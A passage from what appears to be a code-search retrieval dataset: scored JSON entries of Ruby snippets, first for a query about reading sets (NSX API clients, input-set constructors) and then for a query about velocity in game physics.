throw \"bad multi state set\"\n end\n\n raw = s[1,len-2]\n list = []\n\n 0.upto( raw.length - 1 ) do |i|\n list << raw[i,1].to_i\n end\n return list\nend", "title": "" }, { "docid": "6cd6c7adbc4194fdbe9e1c5a07aafdbb", "score": "0.5107288", "text": "def read_all\n begin\n response = @manager.get(DaenetIP2::READ_ALL)\n response.varbind_list[0].value.to_i\n rescue Exception => e\n puts \"Exception: \" + e.message\n nil\n end\n end", "title": "" }, { "docid": "701567704223b2ea2eae499775ed83d3", "score": "0.5096466", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ReadWantsToReadsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "9788b0615142372cfde8101301f9efb2", "score": "0.5080036", "text": "def read!\n self.flags = flags! | Set[:seen]\n end", "title": "" }, { "docid": "f8e19f6f07e2c61a7ab3142966aa3c75", "score": "0.5071774", "text": "def get(set); end", "title": "" }, { "docid": "ba682c8e6cec1713d9c60c2b01b0b59f", "score": "0.5046592", "text": "def current_values\n\t\t@values ||= read_ip\n\tend", "title": "" }, { "docid": "987995c6206590d3542bb247136be25c", "score": "0.50350404", "text": "def x_reads; @bits[25]; end", "title": "" }, { "docid": "2f10ca7dd69d0864f51410c3ed73cccc", "score": "0.50302637", "text": "def read\n raise NotImplementedError, 'this should be overridden by concrete sub-class'\n end", "title": "" }, { "docid": "6aa5dfc549197650dd6c116b9e460e95", "score": "0.5016531", "text": "def iar_reads; @bits[21]; end", "title": "" }, { "docid": "4efc0cadb538e9a2c27ec5236a0ecd34", "score": "0.49942768", "text": "def new_input_set()\n return ReadRunsInputSet.new()\n end", "title": "" }, { "docid": "99de94375977a72ebf92e2929fecbdb3", "score": "0.49878266", "text": "def new_input_set()\n return GetNetworkInputSet.new()\n end", "title": "" }, { "docid": "ec5a7a48b12973e0a184da4c6e1e07f8", "score": "0.49864912", "text": "def data_set\n @data_set\n end", "title": "" }, { "docid": "4190771c926c20ac6285f8dcf1d73d6e", "score": "0.49727225", "text": "def replica_set(value)\n decode(value)\n end", "title": "" }, { "docid": "90a87c2610c614fd9d6165d9e6ec1742", "score": "0.4970774", "text": "def read\n request_a()\n request_b()\n @values\n end", "title": "" }, { "docid": "87a4419b1cc38ccefa0e989b124f668f", "score": "0.49626145", "text": "def read\n\t\t\t\t\tnil\n\t\t\t\tend", "title": "" }, { "docid": "ed9ff6ac8b331a6d2ea9781ae34cb72f", "score": "0.49605918", "text": "def convert_read_set(name, value)\n hash_extractor('readPreferenceTags', value)\n end", "title": "" }, { "docid": "2afe3ca51c486428bf2b7739e82557cb", "score": "0.4957822", "text": "def read_mac_set_realized_state_0(enforcement_point_name, mac_set_name, opts = {})\n data, _status_code, _headers = read_mac_set_realized_state_0_with_http_info(enforcement_point_name, mac_set_name, opts)\n data\n end", "title": "" }, { "docid": "22717a12e068370d37f48138ec8c3bed", "score": "0.49572533", "text": "def read\n raise NotImplementedError\n end", "title": "" }, { "docid": "22717a12e068370d37f48138ec8c3bed", "score": "0.49572533", "text": "def read\n raise NotImplementedError\n end", "title": "" }, { "docid": "2af59211c7ad9c935f54229b5270dc22", "score": "0.49522763", "text": "def read_mac_set_realized_state_with_http_info(enforcement_point_name, mac_set_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyInfraRealizedStateApi.read_mac_set_realized_state ...'\n end\n # verify the required parameter 'enforcement_point_name' is set\n if @api_client.config.client_side_validation && enforcement_point_name.nil?\n fail ArgumentError, \"Missing the required parameter 'enforcement_point_name' when calling PolicyInfraRealizedStateApi.read_mac_set_realized_state\"\n end\n # verify the required parameter 'mac_set_name' is set\n if @api_client.config.client_side_validation && mac_set_name.nil?\n fail ArgumentError, \"Missing the required parameter 'mac_set_name' when calling PolicyInfraRealizedStateApi.read_mac_set_realized_state\"\n end\n # resource path\n local_var_path = '/global-infra/realized-state/enforcement-points/{enforcement-point-name}/mac-sets/mac-sets-nsxt/{mac-set-name}'.sub('{' + 'enforcement-point-name' + '}', enforcement_point_name.to_s).sub('{' + 'mac-set-name' + '}', mac_set_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'GenericPolicyRealizedResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyInfraRealizedStateApi#read_mac_set_realized_state\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "ac8f81ed1036c848593c6558c21f139b", "score": "0.49434352", "text": "def read_one(repository, query)\n properties = resource.properties(repository.name).select { |property| !property.lazy? }\n properties_with_indexes = Hash[*properties.zip((0...properties.size).to_a).flatten]\n\n set = LoadedSet.new(repository, resource, properties_with_indexes)\n \n connection = create_connection\n command = connection.create_command(read_statement(resource, key))\n command.set_types(properties.map { |property| property.type })\n reader = command.execute_reader(*key)\n while(reader.next!)\n set.materialize!(reader.values)\n end\n \n reader.close\n close_connection(connection)\n \n set.first\n end", "title": "" }, { "docid": "50ff70cc8189cc6a1001f9d8a8af5aab", "score": "0.49409226", "text": "def new_input_set()\n return MQLReadInputSet.new()\n end", "title": "" }, { "docid": "1afcec0d1131726dbdf83d5a049e0c43", "score": "0.4932884", "text": "def get\n @set.values.sample\n end", "title": "" }, { "docid": "20299ec001d9b74b8d6fd19a137498ed", "score": "0.4919272", "text": "def mar_reads; @bits[15]; end", "title": "" }, { "docid": "c0936c3b6aa6f3250c4c4c3bd1bd75fe", "score": "0.4914077", "text": "def list_sets\n log_message( \"Listing sets...\" ) unless @logging == false\n set_list = @connection.get( \"set\" )\n return set_list\n end", "title": "" }, { "docid": "65aa2b3aac23758730be46da9a7d1fde", "score": "0.48991358", "text": "def memory_reads; @bits[11]; end", "title": "" }, { "docid": "a3de10965d459defbce77463a778079f", "score": "0.48854637", "text": "def b_data_set\n @b_data_set\n end", "title": "" }, { "docid": "0e947dfa23d0492e269f0ccdcfe4f6e5", "score": "0.4883671", "text": "def new_input_set()\n return ReadListensInputSet.new()\n end", "title": "" }, { "docid": "bf337f6a6365a19b5325c43d4b8cb264", "score": "0.48713663", "text": "def getByValid()\n mask = dataMask()\n if (Integer(mask)!=0) \n @data = @data.sort_by { |row| row['position'] }\n len = validDataLength\n cmd_get()\n sleep 0.1\n self.sendS([Integer(mask)].pack('L'))\n result = []\n readBytes = []\n begin\n Timeout::timeout(1) do\n len.times {readBytes << @sp.getbyte}\n readBytes.reverse!\n\n @data.select{|data| data['valid']==1}.each do |row| #do we need to revert this??\n data=\"\"\n lenByType(row['type']).times do\n data << readBytes.pop\n end\n value = data.unpack(row['type']).first\n row['value'] = value\n result << {'mask_name'=>row['mask_name'], 'value' => value}\n end\n end\n rescue\n puts 'Timeout to read with mask ' + mask\n puts 'Read ' + readBytes.length.to_s + '/' + len.to_s + ' bytes'\n puts 'READ:' + readBytes.to_s\n end\n return result\n end\n end", "title": "" }, { "docid": "346bf0116680556134ba4f369aa7d5d5", "score": "0.48663503", "text": "def read_mac_set_realized_state_0_with_http_info(enforcement_point_name, mac_set_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyInfraRealizedStateApi.read_mac_set_realized_state_0 ...'\n end\n # verify the required parameter 'enforcement_point_name' is set\n if @api_client.config.client_side_validation && enforcement_point_name.nil?\n fail ArgumentError, \"Missing the required parameter 'enforcement_point_name' when calling PolicyInfraRealizedStateApi.read_mac_set_realized_state_0\"\n end\n # verify the required parameter 'mac_set_name' is set\n if @api_client.config.client_side_validation && mac_set_name.nil?\n fail ArgumentError, \"Missing the required parameter 'mac_set_name' when calling PolicyInfraRealizedStateApi.read_mac_set_realized_state_0\"\n end\n # resource path\n local_var_path = '/infra/realized-state/enforcement-points/{enforcement-point-name}/mac-sets/mac-sets-nsxt/{mac-set-name}'.sub('{' + 'enforcement-point-name' + '}', enforcement_point_name.to_s).sub('{' + 'mac-set-name' + '}', mac_set_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'GenericPolicyRealizedResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyInfraRealizedStateApi#read_mac_set_realized_state_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "1eb1b8ae5f7a52167afd545958825841", "score": "0.48581788", "text": "def read\n # do nothing: subclass responsability\n end", "title": "" }, { "docid": "5cf468391637153c5201ec7eb78111ef", "score": "0.4856008", "text": "def new_input_set()\n return UpdateReadingInputSet.new()\n end", "title": "" }, { "docid": "5cf468391637153c5201ec7eb78111ef", "score": "0.4856008", "text": "def new_input_set()\n return UpdateReadingInputSet.new()\n end", "title": "" }, { "docid": "608d1feb4a3a0d43c82905664654756f", "score": "0.48516804", "text": "def read\n State.pos.dup\n end", "title": "" }, { "docid": "9344f8c45ea7aa2e8f4511d6d5b333b2", "score": "0.48435938", "text": "def state_resist_set\n features_set(FEATURE_STATE_RESIST)\n end", "title": "" }, { "docid": "815217f7d7b8de0c7e6f80c6903fff08", "score": "0.48339552", "text": "def contents\n @set.keys\n end", "title": "" }, { "docid": "a8d6c6965076b65633a3db478d915c3b", "score": "0.48326862", "text": "def read\n raise NotImplementedError\n end", "title": "" }, { "docid": "a8d6c6965076b65633a3db478d915c3b", "score": "0.48326862", "text": "def read\n raise NotImplementedError\n end", "title": "" }, { "docid": "79e5a8ed794488e4c6b5fec6abc8c353", "score": "0.48263833", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ReadReadingsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "79e5a8ed794488e4c6b5fec6abc8c353", "score": "0.48263833", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ReadReadingsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "c1e6c57b71bb5918502ab376b0d8d818", "score": "0.48139095", "text": "def new_input_set()\n return ReadDeviceInputSet.new()\n end", "title": "" }, { "docid": "e22cbff8bf57445191944bd94b35d4e3", "score": "0.48054168", "text": "def read\n @read ||= read_lines( preprocess )\n end", "title": "" }, { "docid": "8897a955e81cdb74692215f8ebb792a7", "score": "0.47993022", "text": "def read(key)\n res = pool.with { |conn| conn.get(key) }\n res && decode(res)\n end", "title": "" }, { "docid": "c3984bf8fc3317af30e53735d6f33531", "score": "0.4798206", "text": "def read_state\n read_settings(@uuid).fetch('State', 'inaccessible').to_sym\n end", "title": "" }, { "docid": "c9794f69f1e66b885fb98315015102e9", "score": "0.4794107", "text": "def new_input_set()\n return GetRegionOperationInputSet.new()\n end", "title": "" }, { "docid": "f5506b55a54af97f12b6cbf7140b59c1", "score": "0.4792198", "text": "def read\n end", "title": "" }, { "docid": "ca6a76ee82da01ab2eb6901f824f7494", "score": "0.4790904", "text": "def read(query, set, arr = true)\n options = extract_options(query.conditions)\n \n repository_name = query.repository.name\n properties = query.fields\n \n # begin\n complete_form( options )\n results_page = submit_form\n results = parse_results( results_page, query )\n # rescue\n # raise \"Couldn't retrieve the data\"\n # end\n results.each do |values|\n # values = result_values(result, properties, repository_name)\n # This is the core logic that handles the difference between all/first\n arr ? set.load(values) : (break set.load(values, query))\n end if results\n \n end", "title": "" }, { "docid": "f3e533c73a5669b8ec915a6e7d0a0cad", "score": "0.47872996", "text": "def read_mac_set_realized_state_with_http_info(enforcement_point_name, mac_set_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PolicyApi.read_mac_set_realized_state ...\"\n end\n # verify the required parameter 'enforcement_point_name' is set\n if @api_client.config.client_side_validation && enforcement_point_name.nil?\n fail ArgumentError, \"Missing the required parameter 'enforcement_point_name' when calling PolicyApi.read_mac_set_realized_state\"\n end\n # verify the required parameter 'mac_set_name' is set\n if @api_client.config.client_side_validation && mac_set_name.nil?\n fail ArgumentError, \"Missing the required parameter 'mac_set_name' when calling PolicyApi.read_mac_set_realized_state\"\n end\n # resource path\n local_var_path = \"/infra/realized-state/enforcement-points/{enforcement-point-name}/mac-sets/mac-sets-nsxt/{mac-set-name}\".sub('{' + 'enforcement-point-name' + '}', enforcement_point_name.to_s).sub('{' + 'mac-set-name' + '}', mac_set_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RealizedMACSet')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyApi#read_mac_set_realized_state\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "dfebd182fc2ae9ee2b32d74ecded10eb", "score": "0.47853175", "text": "def new_input_set()\n return ReadGraphInputSet.new()\n end", "title": "" }, { "docid": "b2dbb4feaa7ca239b7c7265fc08db03b", "score": "0.47769383", "text": "def getNodes(set)\n\tnlist = Array.new\n sparse = ParseNodeSet.new\n ap = sparse.safeEval(set)\n\tnodeSet = sparse.parseNodeSetArray(ap)\n nodeSet.each { |ncoord| \n self.each_node { |nde| \n\t\t cstr = \"(\" + nde.getcoord + \")\"\n if (ncoord == cstr)\n nlist.insert(-1, nde.getcoord)\n end\n }\n }\n\treturn nlist\n end", "title": "" }, { "docid": "d66f4e4230a40e0f09078ac60c76bfe2", "score": "0.47734386", "text": "def set\n return @set\n end", "title": "" }, { "docid": "d66f4e4230a40e0f09078ac60c76bfe2", "score": "0.47734386", "text": "def set\n return @set\n end", "title": "" }, { "docid": "d66f4e4230a40e0f09078ac60c76bfe2", "score": "0.47732767", "text": "def set\n return @set\n end", "title": "" }, { "docid": "21729db3b81829d6ddc28a00a1a77e54", "score": "0.47698805", "text": "def get\n state\n end", "title": "" }, { "docid": "178aa355ac1f2e4a14d11cdcdbf9c0e1", "score": "0.47653943", "text": "def new_input_set()\n return ReadProductInputSet.new()\n end", "title": "" }, { "docid": "2599ce463a071011f63548e7049281bb", "score": "0.47378615", "text": "def enumerate\n p @set\n end", "title": "" }, { "docid": "662fe4a126a148aef6347b270ddc2e46", "score": "0.4737014", "text": "def new_input_set()\n return CreateReadingInputSet.new()\n end", "title": "" }, { "docid": "662fe4a126a148aef6347b270ddc2e46", "score": "0.47368315", "text": "def new_input_set()\n return CreateReadingInputSet.new()\n end", "title": "" }, { "docid": "b6b56c6e661375074ab27e9fedec5dfd", "score": "0.47305518", "text": "def read\n @lock.synchronize {\n unsafe_read()\n }\n end", "title": "" }, { "docid": "28356d3eea68105debc9b7d111390054", "score": "0.47300652", "text": "def new_input_set()\n return ReadBikesInputSet.new()\n end", "title": "" }, { "docid": "9cd18d6240ed411f350d5424b8605122", "score": "0.47228354", "text": "def new_input_set()\n return ReadRatingsInputSet.new()\n end", "title": "" }, { "docid": "9cd18d6240ed411f350d5424b8605122", "score": "0.47226554", "text": "def new_input_set()\n return ReadRatingsInputSet.new()\n end", "title": "" }, { "docid": "f8b0d9dfdd6322469c8df803ff52244a", "score": "0.47174418", "text": "def read( start, slice=nil )\n if slice\n ( start..( step_index( start, slice ) ) ).map { |n| data[ translate_address( n ) ] }\n else\n if start.is_a?( ::Range ) # Standard Ruby Range\n start.map { |n| data[ translate_address( n ) ] }\n else # Single value\n data[ translate_address( start ) ]\n end\n end\n end", "title": "" }, { "docid": "17d02eb5bd5a3a2d053e8b3dd2d85849", "score": "0.47163314", "text": "def new_input_set()\n return ReadPostsInputSet.new()\n end", "title": "" } ]
c3ffdb050b4d3b23ddf40d036c877733
Applies current velocity to the position
[ { "docid": "991ef102e484ae08c7cad886ff01f65d", "score": "0.67101294", "text": "def update_position\n DIMS.values.each { |dim| @position[dim] += @velocity[dim] }\n end", "title": "" } ]
[ { "docid": "b385dfbee90ffd1166bdfc4aede17325", "score": "0.7286615", "text": "def update\n @position[0] += @velocity[0]*@dt\n @position[1] += @velocity[1]*@dt\n @center[0] = @position[0] + @size\n @center[1] = @position[1] + @size\n end", "title": "" }, { "docid": "c3538e2a47192637e70c09b13ad23247", "score": "0.7213679", "text": "def move\n move_by get_incremental_position_for_velocity if (any_velocity?)\n decrease_velocity\n @has_increased_velocity_for = {\n x: false,\n y: false\n }\n @velocity_deltatime.update\n end", "title": "" }, { "docid": "676e4930cdff72bb962afa498dcba657", "score": "0.7108671", "text": "def update\n @velocity += acceleration\n @location += velocity\n @lifespan -= 2.0\n end", "title": "" }, { "docid": "5f4a76a075471d42057d3328f4695664", "score": "0.7094082", "text": "def move_position\n @x += @velocity_x\n @y += @velocity_y\n end", "title": "" }, { "docid": "ac5b62258226bb9f2f649df64f4cb6e4", "score": "0.70627093", "text": "def velocity(val = nil)\n val.nil? ? @state.velocity : @state.velocity = val\n end", "title": "" }, { "docid": "da6c1310e024e077b7ad3c90cd9d358a", "score": "0.7049683", "text": "def velocity= o\n dx, dy = o.x, o.y\n self.m = Math.sqrt(dx*dx + dy*dy)\n self.a = Math.atan2(dy, dx) * R2D\n end", "title": "" }, { "docid": "90741c2e487646bea15a7af72c6701ea", "score": "0.6994028", "text": "def update\n @velocity.add(@acceleration)\n @location.add(@velocity)\n @acceleration.mult(0)\n @lifespan -= 2.0\n end", "title": "" }, { "docid": "90741c2e487646bea15a7af72c6701ea", "score": "0.6994028", "text": "def update\n @velocity.add(@acceleration)\n @location.add(@velocity)\n @acceleration.mult(0)\n @lifespan -= 2.0\n end", "title": "" }, { "docid": "e9bd11e9d46e5fe763c03d893dc77054", "score": "0.69173574", "text": "def update_vel( dt )\n @vx = update_vel_axis( @vx, @ax, dt )\n @vy = update_vel_axis( @vy, @ay, dt )\n end", "title": "" }, { "docid": "cb00ed3f06c750a7d52575acf7d18f72", "score": "0.69052255", "text": "def accelerate\r\n @velx += Gosu.offset_x(@angle,ACCELERATION)\r\n @vely += Gosu.offset_y(@angle,ACCELERATION)\r\n end", "title": "" }, { "docid": "26610fa6eedbfc2d9adbd0f90a839ecc", "score": "0.6881296", "text": "def update\n @loc += vel\n end", "title": "" }, { "docid": "94c0aeb692d8d5980ab08d6cca7e3403", "score": "0.6860272", "text": "def velocity=(arg)\n @view__.velocity = arg.is_a?(Vector) ? arg.getInternal__ : arg\n arg\n end", "title": "" }, { "docid": "b8255365313935c734d629112c671b21", "score": "0.6850291", "text": "def velocity\n x, y = dx_dy\n V[x, y]\n end", "title": "" }, { "docid": "d03294da2a7fe043ea34051ab2fc0bf6", "score": "0.6845704", "text": "def accelForward\n @vel_y -= @VELOCITY\n end", "title": "" }, { "docid": "33081a65a92edf14cf738a135c5e4822", "score": "0.68335897", "text": "def setVelocity _obj, _args\n \"_obj setVelocity _args;\" \n end", "title": "" }, { "docid": "40696b0eafd2e96fcde99ba065ff85c2", "score": "0.682941", "text": "def update\n @vel += acc\n @loc += vel\n # Multiplying by 0 sets the all the components to 0\n @acc *= 0\n\n @osc.update(vel.mag / 10)\n end", "title": "" }, { "docid": "a3aaf120f28ee03462f24b30267329ff", "score": "0.6821983", "text": "def accelerate\n @velocity_x += Gosu.offset_x(@angle, ACCELERATION)\n @velocity_y += Gosu.offset_y(@angle, ACCELERATION)\n end", "title": "" }, { "docid": "cd1cc9f347ed83cfc138391d73503ca1", "score": "0.6788039", "text": "def update\n # Update velocity\n @velocity.add(@acceleration)\n # Limit speed\n @velocity.limit(@maxspeed)\n @location.add(@velocity)\n # Reset accelerationelertion to 0 each cycle\n @acceleration.mult(0)\n end", "title": "" }, { "docid": "0aea4ac52cc9645eacc84d3b92c23a81", "score": "0.67603487", "text": "def update\n @vel.mult(0) if not @movable\n @vel.limit(@max_vel)\n @loc.add(@vel)\n @vel.mult(@dumping)\n end", "title": "" }, { "docid": "e7f659d0af1184b51a460a6bf1f24268", "score": "0.6702509", "text": "def update()\n # Update velocity\n @velocity.add(@acceleration)\n # Limit speed\n @velocity.limit(@maxspeed)\n @location.add(@velocity)\n # Reset accelertion to 0 each cycle\n @acceleration.mult(0)\n end", "title": "" }, { "docid": "008a66d5286d2fb64c40c25146147c04", "score": "0.66950023", "text": "def apply_gravity_to_velocity\n\t\tgravity_change = gravity_change_hash\n\t\tlast_idx = @moons.length - 1\n\t\tlast_idx.times do |x|\n\t\t\t((x + 1)...(@moons.length)).each do |y|\n\t\t\t\tupdate_gravity_hash(@moons[x], @moons[y], gravity_change)\n\t\t\tend\n\t\tend\n\t\tchange_gravity(gravity_change)\n\tend", "title": "" }, { "docid": "7ece55c3401e0b226b116a972e51da5e", "score": "0.66483045", "text": "def update\n @vel += acc\n @loc += vel\n @lifespan -= 1.0\n end", "title": "" }, { "docid": "62b8e4cb2a6de8ebd8770da27f3562ce", "score": "0.6621874", "text": "def vel=(v)\n self.mo = Vector[mo[0], *(mo[0]*v.normalize)]\n end", "title": "" }, { "docid": "b8d7ec365962f157a760185dcbd61f40", "score": "0.6598676", "text": "def change_entity_velocity entity; end", "title": "" }, { "docid": "1a5a5b2438c937e611bda0f599e22644", "score": "0.65923566", "text": "def velocity()\n @view__.velocity.toVector\n end", "title": "" }, { "docid": "1b54f569c9a58e9bcba9e8f030b219ca", "score": "0.6587657", "text": "def velocity\n @velocity ||= (127 * @intensity).round\n end", "title": "" }, { "docid": "0d8dafb6f87108d25df561e70e00665b", "score": "0.6564878", "text": "def move_forward\n self.velocity_x = Gosu::offset_x(self.angle, 0.5)*self.max_velocity_x\n self.velocity_y = Gosu::offset_y(self.angle, 0.5)*self.max_velocity_y\n end", "title": "" }, { "docid": "d4f8ab06f4c4fccf018f84071d4d0820", "score": "0.6555948", "text": "def move\n @x += @vel_x\n @y += @vel_y\n @spin += @vel_spin\n end", "title": "" }, { "docid": "87194077afd7a70bc45037905f3d016c", "score": "0.654128", "text": "def velocity\n v = compute_velocity(completed) {|view| view.total_cost}\n v.target = planned_velocity\n return v\n end", "title": "" }, { "docid": "b0deedcb9ae9d1b51f9bf2f920c04359", "score": "0.6504776", "text": "def accelBackward\n @vel_y += @VELOCITY\n end", "title": "" }, { "docid": "991ba8f809e1989e00d3aaa60e569037", "score": "0.6486428", "text": "def move\n\t\t@x += 0\n\t\t@y += @vel\n\tend", "title": "" }, { "docid": "784af6e9004aac3fd58c2e1c6d412a42", "score": "0.6477322", "text": "def cur_velocity\n MSPhysics::Newton::Corkscrew.get_cur_velocity(@address)\n end", "title": "" }, { "docid": "83fe775b6c895b3d366fbf7c14351311", "score": "0.6476483", "text": "def update_velocity(l_best_position)\r\n # Generating the second and third parameters in the velocity update equation\r\n term2 = sum_probability_matrices(generate_random_vector(@control_param_personal), subtract_position(@p_best_position, @control_param_personal[2]))\r\n term3 = sum_probability_matrices(generate_random_vector(@control_param_local), subtract_position(l_best_position, @control_param_local[2]))\r\n new_velocity = Array.new(@length) { Array.new(@teams, 0) }\r\n\r\n # Summing the current velocity with the weighted parameters\r\n (0..@length - 1).each do |x|\r\n (0..@teams - 1).each do |y|\r\n new_velocity[x][y] += (@velocity[x][y] * @inertia)\r\n new_velocity[x][y] += term2[x][y]\r\n new_velocity[x][y] += term3[x][y]\r\n end\r\n end\r\n\r\n # Normalising the velocity as a fraction\r\n # of the maximum value present in the matrix\r\n max_probability = new_velocity.flatten.max\r\n (0..@length - 1).each do |x|\r\n (0..@teams - 1).each do |y|\r\n new_velocity[x][y] = new_velocity[x][y] / max_probability\r\n end\r\n end\r\n\r\n @velocity = new_velocity\r\n end", "title": "" }, { "docid": "e8a7e57c8d333e6137cd9b785004b5a4", "score": "0.6456107", "text": "def accelRight\n @vel_x += @VELOCITY\n end", "title": "" }, { "docid": "4b926a14a160450383cbe04b4165cd23", "score": "0.6450379", "text": "def update\n @vel.add(@acc)\n @loc.add(@vel)\n # Multiplying by 0 sets the all the components to 0\n @acc.mult(0)\n\n @osc.update(@vel.mag/10)\n end", "title": "" }, { "docid": "ecc2e5aa64d9712b91f62dbcfa683bfc", "score": "0.64283633", "text": "def update_momentum\n return if fixed?\n apply_gravity\n @position += @velocity * @mass\n end", "title": "" }, { "docid": "4c413f1e1f12239f243559446ffb8f6c", "score": "0.6421236", "text": "def update(width, height)\n # Update velocity\n @velocity += @acceleration\n # Limit speed\n @velocity.set_mag(MAX_SPEED) { @velocity.mag > MAX_SPEED }\n @location += @velocity\n # Reset acceleration to 0 each cycle\n @acceleration *= 0\n @location.x = constrain(location.x, 0, width)\n @location.y = constrain(location.y, 0, height)\n end", "title": "" }, { "docid": "4981c1664c4d42635ac1450983351ca2", "score": "0.64113736", "text": "def update_vel_axis( v, a, dt )\n # Apply slowdown if not accelerating.\n if a == 0\n if v > 0\n v -= @slowdown * dt\n v = 0 if v < 0\n elsif v < 0\n v += @slowdown * dt\n v = 0 if v > 0\n end\n end\n # Apply acceleration\n v += a * dt\n # Clamp speed so it doesn't go too fast.\n v = @max_speed if v > @max_speed\n v = -@max_speed if v < -@max_speed\n return v\n end", "title": "" }, { "docid": "9217a466ea6df71b1ca21274aad72b04", "score": "0.63802123", "text": "def cur_velocity\n MSPhysics::Newton::CurvySlider.get_cur_velocity(@address)\n end", "title": "" }, { "docid": "9217a466ea6df71b1ca21274aad72b04", "score": "0.63802123", "text": "def cur_velocity\n MSPhysics::Newton::CurvySlider.get_cur_velocity(@address)\n end", "title": "" }, { "docid": "21840f355f98500d4d553a5e23738dff", "score": "0.6332596", "text": "def update_velocity(another_moon)\n DIMS.values.each do |dim|\n diff = another_moon.position[dim] - @position[dim]\n @velocity[dim] += if diff > 0.0\n 1.0\n elsif diff < 0.0\n -1.0\n else\n 0.0\n end\n end\n end", "title": "" }, { "docid": "33988fa5b3aea59cdd9900b241944b4e", "score": "0.63258904", "text": "def update_pos( dt )\n @px += @vx * dt\n @py += @vy * dt\n @rect.center = [@px, @py]\n end", "title": "" }, { "docid": "3ae7f77c7f13416642a0beee66c3bcee", "score": "0.630224", "text": "def set_velocity\n @chart = policy_scope(Chart).find(params[:id])\n authorize @chart\n @velocity = @chart.velocity\n end", "title": "" }, { "docid": "b996c765e5c55605198d6ed157d11a9f", "score": "0.6246722", "text": "def velocity\n @moons.each do |moon|\n moon[:position][:x] += moon[:velocity][:x]\n moon[:position][:y] += moon[:velocity][:y]\n moon[:position][:z] += moon[:velocity][:z]\n end\n end", "title": "" }, { "docid": "bf091658799037ea4a6181954d3a430f", "score": "0.6210674", "text": "def angular_velocity\n @rp.angular_velocity\n end", "title": "" }, { "docid": "3f96c82cdab6be63304f34bdb9647498", "score": "0.6198632", "text": "def setVelocityTransformation _obj, _args\n \"_obj setVelocityTransformation _args;\" \n end", "title": "" }, { "docid": "faf141e60fcfb266a58782a633c8de24", "score": "0.6170283", "text": "def to_velocity\n VELOCITIES[expression] || expression\n end", "title": "" }, { "docid": "a8f856c6d6db833ca269a563b9610d07", "score": "0.61635953", "text": "def vy()\n @view__.velocity.y\n end", "title": "" }, { "docid": "cad179e1f484d275fc176b34644d28da", "score": "0.61612475", "text": "def move\n @x = (@x + @x_velocity) % Window.width\n @y = (@y + @y_velocity) % Window.height\nend", "title": "" }, { "docid": "a2c1b4d6dbb319a2324785d89f0852a2", "score": "0.6158904", "text": "def vx()\n @view__.velocity.x\n end", "title": "" }, { "docid": "42467f5b5bc4392d31e05df9115ef24f", "score": "0.61268616", "text": "def update_pos( dt )\n x = @rect.centerx\n y = @rect.centery\n\n x += @velocity.x * dt\n y += @velocity.y * dt\n\n # Wrap the screen\n screen = @game.screen\n x = 0 if x > screen.w\n x = screen.w if x < 0\n y = 0 if y > screen.h\n y = screen.h if y < 0\n\n @rect.center = [x, y]\n end", "title": "" }, { "docid": "9cef11775a9d574fb4562deff2125861", "score": "0.61183375", "text": "def new_velocity(m1, m2, v1, v2, c1, c2)\n f = (2*m2)/(m1+m2) ## Number\n\n dv = v1 - v2 ### Vector\n dc = c1 - c2 ### Vector\n\n v_new = v1 - f * (dv.inner_product(dc))/(dc.inner_product(dc)) * dc ### Vector\n\n ## If the two objects are already moving away from each, then don't change the velocity.\n if dv.inner_product(dc) > 0\n return v1 ### Vector\n else\n return v_new ### Vector\n end\n end", "title": "" }, { "docid": "d5db04f6b15a1a31bf79df52ddf354a8", "score": "0.6078531", "text": "def move\n # Stores change in x and y position based off of vel and current x,y\n newX = @x + @vel_x\n newY = @y + @vel_y\n # Prevents ship from exiting bounds in x along the ship's edge\n if newX >= @image.width and newX <= @window.width-@image.width then\n @x += @vel_x\n end\n # Prevents ship from exiting bounds in y along the ship's edge\n if newY >= @image.height and newY <= @window.height-@image.height then\n @y += @vel_y\n end\n # Slows down the ship if no 